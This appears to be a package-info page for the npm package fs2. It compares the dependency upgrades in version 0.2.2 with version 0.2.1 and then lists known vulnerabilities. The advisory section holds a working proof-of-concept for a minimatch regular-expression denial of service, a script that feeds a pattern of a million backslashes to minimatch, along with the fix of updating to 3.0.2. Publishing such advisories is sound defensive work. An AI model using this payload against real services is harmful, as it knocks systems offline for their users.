FS2 is a file system extensions package offering enhanced functionalities for Node.js developers. Version 0.2.2, released in September 2015, builds upon the foundation laid by version 0.2.1, which was released in April 2014, introducing key updates and dependency adjustments.
One notable difference lies in the dependencies. Version 0.2.2 upgrades several core dependencies, including "es5-ext" (from ~0.10.2 to ~0.10.7), "deferred" (from 0.7.x to ~0.7.3), "memoizee" (from 0.3.x to ~0.3.9), and "minimatch" (from ~0.2.14 to ~2.0.10). These dependency bumps likely bring performance improvements, bug fixes, and potentially new features from the underlying libraries. For example, the update to minimatch is potentially significant as it shifts the version to a more modern major revision.
Furthermore, version 0.2.2 refines the developer tooling with updated development dependencies such as "tad" (from 0.2.x to ~0.2.3,"xlint":"~0.2.2","xlint-jslint-medikoo":"~0.1.4").
For developers considering FS2, these changes highlight a commitment to maintaining a modern and well-supported library. Upgrading to version 0.2.2 ensures access to the latest improvements in its dependency chain and benefit from the updated tooling. Developers should evaluate these specific upgrades based on their pre existing codebase and tooling.
All the vulnerabilities related to the version 0.2.2 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.